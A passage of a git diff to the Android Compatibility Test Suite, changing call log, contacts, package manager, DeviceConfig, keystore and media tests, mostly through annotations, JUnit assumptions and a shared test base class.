+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Update it!
+        values.put(CallLog.Calls.DURATION, Long.valueOf(6 /*call duration*/));
+        int numUpdated = mContentResolver.update(uri, values, null, null);
+        assertEquals(1, numUpdated);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+
+    public void testDelete() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Delete it.
+        // Yuck, you can't just delete using the uri passed in; you need to build a where clause.
+        int count = mContentResolver.delete(Calls.CONTENT_URI, Calls._ID + "="
+                + ContentUris.parseId(uri), null);
+        assertEquals(1, count);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index fa0572c..2ec7ec8 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -31,6 +31,8 @@
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class ContactsContract_RawContactsTest extends AndroidTestCase {
     private ContentResolver mResolver;
     private ContactsContract_TestDataBuilder mBuilder;
@@ -150,6 +152,7 @@
         assertEquals("1", result[1]);
     }
 
+    @CddTest(requirement = "3.18/C-1-5")
     public void testRawContactDelete_localDeleteRemovesRecord() {
         String name = RawContacts.getLocalAccountName(mContext);
         String type = RawContacts.getLocalAccountType(mContext);
@@ -201,6 +204,7 @@
      * config_rawContactsLocalAccountName and config_rawContactsLocalAccountType resource strings 
      * defined in platform/frameworks/base/core/res/res/values/config.xml.
      */
+    @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
     public void testRawContactCreate_noAccountUsesLocalAccount() {
         // Save a raw contact without an account.
         long rawContactid = RawContactUtil.insertRawContact(mResolver, null);
@@ -218,6 +222,31 @@
         RawContactUtil.delete(mResolver, rawContactid, true);
     }
 
+    /**
+     * The local account is the default if a raw contact insert uses null for
+     * the {@link RawContacts#ACCOUNT_NAME} and {@link RawContacts#ACCOUNT_TYPE}.
+     *
+     * <p>See {@link #testRawContactCreate_noAccountUsesLocalAccount()}
+     */
+    @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
+    public void testRawContactCreate_nullAccountUsesLocalAccount() throws Exception {
+        // Save a raw contact using the default local account
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, (String) null)
+                .with(RawContacts.ACCOUNT_NAME, (String) null)
+                .insert();
+
+        String[] row =  RawContactUtil.queryByRawContactId(mResolver, rawContact.getId(),
+                new String[] {
+                        RawContacts.ACCOUNT_NAME, RawContacts.ACCOUNT_TYPE
+                });
+
+        // When the raw contact is inserted into the default local account the contact is created
+        // in the local account.
+        assertEquals(RawContacts.getLocalAccountName(mContext), row[0]);
+        assertEquals(RawContacts.getLocalAccountType(mContext), row[1]);
+    }
+
     public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
         DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
 
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
index ceaee73..9613b14 100755
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -26,6 +26,8 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -109,6 +111,7 @@
      * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
      * to an added account will be removed but this should not be done for the local account.
      */
+    @CddTest(requirement="3.18/C-1-4")
     public void testAccountRemoval_doesNotDeleteLocalAccountContacts() {
         mAccountManager.addAccountExplicitly(ACCT_1, null, null);
         ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
diff --git a/tests/tests/content/src/android/content/cts/wm/OWNERS b/tests/tests/content/src/android/content/cts/wm/OWNERS
new file mode 100644
index 0000000..940ab87
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/wm/OWNERS
@@ -0,0 +1,2 @@
+include /tests/framework/base/windowmanager/OWNERS
+charlesccchen@google.com
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 3a035f6..726e5de 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -35,6 +35,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
@@ -871,13 +872,8 @@
 
     @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_MatchesApex() throws Exception {
-        // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
-        // assumptions framework.
-        // TODO: change to assumeTrue after migrating tests to JUnit4.
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         PackageInfo packageInfo = mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
                 PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         assertShimApexInfoIsCorrect(packageInfo);
@@ -885,13 +881,8 @@
 
     @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_DoesNotMatchApex() {
-        // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
-        // assumptions framework.
-        // TODO: change to assumeTrue after migrating tests to JUnit4.
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0 /* flags */);
             fail("NameNotFoundException expected");
@@ -901,10 +892,8 @@
 
     @Test
     public void testGetPackageInfo_ApexNotSupported_ApexPackage_MatchesApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
             fail("NameNotFoundException expected");
@@ -914,10 +903,8 @@
 
     @Test
     public void testGetPackageInfo_ApexNotSupported_ApexPackage_DoesNotMatchApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0);
             fail("NameNotFoundException expected");
@@ -927,10 +914,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexSupported_MatchesApex() {
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
                 PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -942,10 +927,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexSupported_DoesNotMatchApex() {
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
@@ -955,10 +938,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexNotSupported_MatchesApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
                 PackageManager.MATCH_APEX);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -969,10 +950,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexNotSupported_DoesNotMatchApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
new file mode 100644
index 0000000..462ee62
--- /dev/null
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.deviceconfig.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+
+@RunWith(AndroidJUnit4.class)
+abstract class AbstractDeviceConfigTestCase {
+
+    static final Context CONTEXT = InstrumentationRegistry.getContext();
+    static final Executor EXECUTOR = CONTEXT.getMainExecutor();
+
+    static final String WRITE_DEVICE_CONFIG_PERMISSION = "android.permission.WRITE_DEVICE_CONFIG";
+    static final String READ_DEVICE_CONFIG_PERMISSION = "android.permission.READ_DEVICE_CONFIG";
+
+    // String used to skip tests if not support.
+    // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
+    // then the test would crash - it might be an issue on atest / AndroidJUnit4
+    private static String sUnsupportedReason;
+
+    /**
+     * Get necessary permissions to access and modify properties through DeviceConfig API.
+     */
+    @BeforeClass
+    public static void setUp() throws Exception {
+        if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
+                && CONTEXT.getPackageManager().isInstantApp()) {
+            sUnsupportedReason = "cannot run test as instant app on secondary user "
+                    + CONTEXT.getUserId();
+        }
+    }
+
+    @Before
+    public void assumeSupported() {
+        assumeTrue(sUnsupportedReason, isSupported());
+    }
+
+    static boolean isSupported() {
+        return sUnsupportedReason == null;
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 6d77ebb..a18bbca 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -16,6 +16,8 @@
 
 package android.deviceconfig.cts;
 
+import androidx.test.InstrumentationRegistry;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
@@ -23,17 +25,13 @@
 import android.provider.DeviceConfig.OnPropertiesChangedListener;
 import android.provider.DeviceConfig.Properties;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.concurrent.Executor;
 
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiPermissionTests {
+public final class DeviceConfigApiPermissionTests extends AbstractDeviceConfigTestCase {
     private static final String NAMESPACE = "namespace";
     private static final String NAMESPACE2 = "namespace2";
     private static final String PUBLIC_NAMESPACE = "textclassifier";
@@ -41,16 +39,10 @@
     private static final String KEY2 = "key2";
     private static final String VALUE = "value";
 
-    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
-            "android.permission.WRITE_DEVICE_CONFIG";
-
-    private static final String READ_DEVICE_CONFIG_PERMISSION =
-            "android.permission.READ_DEVICE_CONFIG";
-
-    private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
     @After
     public void dropShellPermissionIdentityAfterTest() {
+        if (!isSupported()) return;
+
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
     }
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
index 1f6d96e..9fb039d 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
@@ -28,7 +28,6 @@
 import android.provider.DeviceConfig.Properties;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -41,8 +40,7 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiTests {
+public final class DeviceConfigApiTests extends AbstractDeviceConfigTestCase {
     private static final String NAMESPACE1 = "namespace1";
     private static final String NAMESPACE2 = "namespace2";
     private static final String EMPTY_NAMESPACE = "empty_namespace";
@@ -70,24 +68,16 @@
     private static final float VALID_FLOAT = 456.789f;
     private static final String INVALID_FLOAT = "34343et";
 
-    private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
-
     private static final long WAIT_FOR_PROPERTY_CHANGE_TIMEOUT_MILLIS = 2000; // 2 sec
     private final Object mLock = new Object();
 
-
-    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
-            "android.permission.WRITE_DEVICE_CONFIG";
-
-    private static final String READ_DEVICE_CONFIG_PERMISSION =
-            "android.permission.READ_DEVICE_CONFIG";
-
     /**
      * Get necessary permissions to access and modify properties through DeviceConfig API.
      */
     @BeforeClass
     public static void setUp() throws Exception {
+        if (!isSupported()) return;
+
         InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
                 WRITE_DEVICE_CONFIG_PERMISSION, READ_DEVICE_CONFIG_PERMISSION);
     }
@@ -97,6 +87,8 @@
      */
     @After
     public void cleanUp() throws Exception {
+        if (!isSupported()) return;
+
         // first wait to make sure callbacks for SetProperties/SetProperty
         // invoked in the test methods got emitted. So that the callbacks
         // won't interfere with setPropertiesAndAssertSuccessfulChange invoked
@@ -114,6 +106,8 @@
      */
     @AfterClass
     public static void cleanUpAfterAllTests() {
+        if (!isSupported()) return;
+
         deletePropertyThrowShell(NAMESPACE1, KEY1);
         deletePropertyThrowShell(NAMESPACE2, KEY1);
         deletePropertyThrowShell(NAMESPACE1, KEY2);
@@ -1096,4 +1090,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index d8fad93..0433205 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -428,7 +428,7 @@
                 HARDWARE_OPTIONS);
         assertEquals(Config.HARDWARE, hardwareBitmap.getConfig());
 
-        Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 100, 100, null, false);
+        Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 96, 96, null, false);
         assertEquals(Config.HARDWARE, ret.getConfig());
         assertFalse(ret.isMutable());
     }
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index 8165a9f..5895cf3 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -26,6 +26,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.rules",
+        "compatibility-device-util-axt",
     ],
     jni_libs: [
         "libjni_test_dlclose",
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index 4742796b..e2bbcd7 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,7 +16,9 @@
 
 package android.jni.cts;
 
+import android.os.Build;
 import android.os.Process;
+import com.android.compatibility.common.util.PropertyUtil;
 import java.io.File;
 import java.io.IOException;
 
@@ -317,9 +319,11 @@
      * dlopen(3) any of the public lib via file name (non-absolute path) should succeed.
      */
     public void test_dlopenPublicLibraries() {
-        String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
-        if (error != null) {
-            fail(error);
+        if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.R)) {
+            String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
+            if (error != null) {
+                fail(error);
+            }
         }
     }
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e3fbad5..6d2ad66 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -437,6 +437,7 @@
      */
     public void testEncryptsAndDecryptsInterrupted()
             throws Exception {
+
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
         final byte[] originalPlaintext = EmptyArray.BYTE;
@@ -546,8 +547,6 @@
                         KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
                         false, isUnlockedDeviceRequired, isUserAuthRequired)) {
                     try {
-                        // Encrypt the data with the device locked
-                        dl.performDeviceLock();
                         Key encryptionKey = key.getKeystoreBackedEncryptionKey();
                         byte[] plaintext = truncatePlaintextIfNecessary(
                                algorithm, encryptionKey, originalPlaintext);
@@ -569,8 +568,9 @@
                                    expectedPlaintext, modulusLengthBytes);
                         }
 
-                        // Then attempt to decrypt the data with the device still locked
-                        // This should fail.
+                        dl.performDeviceLock();
+
+                        // Attempt to decrypt the data with the device locked.
                         cipher = Cipher.getInstance(algorithm, provider);
                         assertFalse(isDecryptValid(expectedPlaintext, ciphertext, cipher, params, key));
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 1af904f..66bab32 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -125,6 +125,7 @@
     private static final Pattern OS_PATCH_LEVEL_STRING_PATTERN = Pattern
             .compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
 
+    private static final int KM_ERROR_CANNOT_ATTEST_IDS = -66;
     private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
     private static final int KM_ERROR_PERMISSION_DENIED = 6;
 
@@ -180,6 +181,14 @@
                                         curves[curveIndex], keySizes[curveIndex],
                                         purposes[purposeIndex], devicePropertiesAttestation);
                             } catch (Throwable e) {
+                                if (devicePropertiesAttestation
+                                        && (e.getCause() instanceof KeyStoreException)
+                                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                                    Log.i(TAG, "key attestation with device IDs not supported; "
+                                            + "test skipped");
+                                    continue;
+                                }
                                 throw new Exception("Failed on curve " + curveIndex +
                                         " challenge " + challengeIndex + " purpose " +
                                         purposeIndex + " includeValidityDates " +
@@ -243,6 +252,7 @@
     }
 
     @RestrictedBuildTest
+    @RequiresDevice
     public void testEcAttestation_DeviceLocked() throws Exception {
         String keystoreAlias = "test_key";
         Date now = new Date();
@@ -500,6 +510,12 @@
                 testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
                         paddings, devicePropertiesAttestation);
             } catch (Throwable e) {
+                if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
+                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                    Log.i(TAG, "key attestation with device IDs not supported; test skipped");
+                    continue;
+                }
                 throw new Exception("Failed on key size " + keySize + " challenge [" +
                         new String(challenge) + "], purposes " +
                         buildPurposeSet(purpose) + " paddings " +
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index e316b4d..c24f26b 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -123,6 +123,7 @@
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MockActivity" />
+        <activity android:name="android.media.cts.MediaRouter2TestActivity" />
         <service android:name="android.media.cts.RemoteVirtualDisplayService"
             android:process=":remoteService" >
             <intent-filter>
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index c54ecd0..c158663 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaTestCases-1.3" />
+        <option name="media-folder-name" value="CtsMediaTestCases-1.4" />
         <option name="dynamic-config-module" value="CtsMediaTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
index 0fd0a0b..4548620 100644
--- a/tests/tests/media/DynamicConfig.xml
+++ b/tests/tests/media/DynamicConfig.xml
@@ -51,6 +51,6 @@
         <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
     </entry>
     <entry key="media_files_url">
-    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.3.zip</value>
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index e3d8ccc..4f5a2ef 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -12,3 +12,7 @@
 jmtrivi@google.com
 jsharkey@android.com
 sungsoo@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 7a2671c..2a870b4 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -1060,7 +1060,8 @@
         jint bitRate,
         jint frameRate,
         jint iFrameInterval,
-        jobject csd,
+        jobject csd0,
+        jobject csd1,
         jint flags,
         jint lowLatency,
         jobject surface) {
@@ -1098,10 +1099,16 @@
         }
     }
 
-    if (csd != NULL) {
-        void *csdPtr = env->GetDirectBufferAddress(csd);
-        jlong csdSize = env->GetDirectBufferCapacity(csd);
-        AMediaFormat_setBuffer(format, "csd-0", csdPtr, csdSize);
+    if (csd0 != NULL) {
+        void *csd0Ptr = env->GetDirectBufferAddress(csd0);
+        jlong csd0Size = env->GetDirectBufferCapacity(csd0);
+        AMediaFormat_setBuffer(format, "csd-0", csd0Ptr, csd0Size);
+    }
+
+    if (csd1 != NULL) {
+        void *csd1Ptr = env->GetDirectBufferAddress(csd1);
+        jlong csd1Size = env->GetDirectBufferCapacity(csd1);
+        AMediaFormat_setBuffer(format, "csd-1", csd1Ptr, csd1Size);
     }
 
     media_status_t err = AMediaCodec_configure(
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index e44dc3a..f4e86eb 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -19,6 +19,7 @@
 import static org.testng.Assert.assertThrows;
 import static org.testng.Assert.expectThrows;
 
+import android.audio.policy.configuration.V7_0.AudioUsage;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.os.Parcel;
@@ -200,6 +201,27 @@
         assertEquals(attr1, attr2);
     }
 
+    // -----------------------------------------------------------------
+    // audio_policy_configuration.xsd converter tests
+    // ----------------------------------
+    public void testXsdStringToUsage_returnsCorrectUsage() {
+        int usage = AudioAttributes.xsdStringToUsage(AudioUsage.AUDIO_USAGE_MEDIA.toString());
+
+        assertEquals(AudioAttributes.USAGE_MEDIA, usage);
+    }
+
+    public void testXsdStringToUsage_withUnsupportedString_returnsUnknownUsage() {
+        int usage = AudioAttributes.xsdStringToUsage("not a usage");
+
+        assertEquals(AudioAttributes.USAGE_UNKNOWN, usage);
+    }
+
+    public void testUsageToXsdString_returnsCorrectString() {
+        String xsdUsage = AudioAttributes.usageToXsdString(AudioAttributes.USAGE_MEDIA);
+
+        assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
+    }
+
     // -------------------------------------------------------------------
     // Reflection helpers for accessing system usage methods and fields
     // -------------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index e17bf8f..887b868 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -23,6 +23,7 @@
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
+import android.os.SystemClock;
 import android.util.Log;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
@@ -38,7 +39,11 @@
 
 
     private static final int BUFFER_SIZE_SEC = 3;
-    private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+    private static final long DATA_REQUEST_TIMEOUT_MS = 6 * 1000; // 6s
+    private static final long DATA_REQUEST_POLL_PERIOD_MS = 1 * 1000; // 1s
+    private static final long PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+    private static final int AUDIOTRACK_DEFAULT_SAMPLE_RATE = 44100;
+    private static final int AUDIOTRACK_DEFAULT_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
 
     private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
 
@@ -124,21 +129,23 @@
             while (written < read) {
                 int wrote = track.write(data, written, read - written,
                         AudioTrack.WRITE_BLOCKING);
-                Log.i(TAG, String.format("wrote %dbytes (%d out of %d)", wrote, written, read));
+                Log.i(TAG, String.format("wrote %d bytes (%d out of %d)", wrote, written, read));
                 if (wrote < 0) {
                     fail("Unable to write all read data, wrote " + written + " bytes");
                 }
                 written += wrote;
             }
+
             try {
-                Thread.sleep(BUFFER_SIZE_SEC * 1000);
-                synchronized(mPresEndLock) {
+                final long elapsed = checkDataRequest(DATA_REQUEST_TIMEOUT_MS);
+                synchronized (mPresEndLock) {
+                    track.setOffloadEndOfStream();
+
                     track.stop();
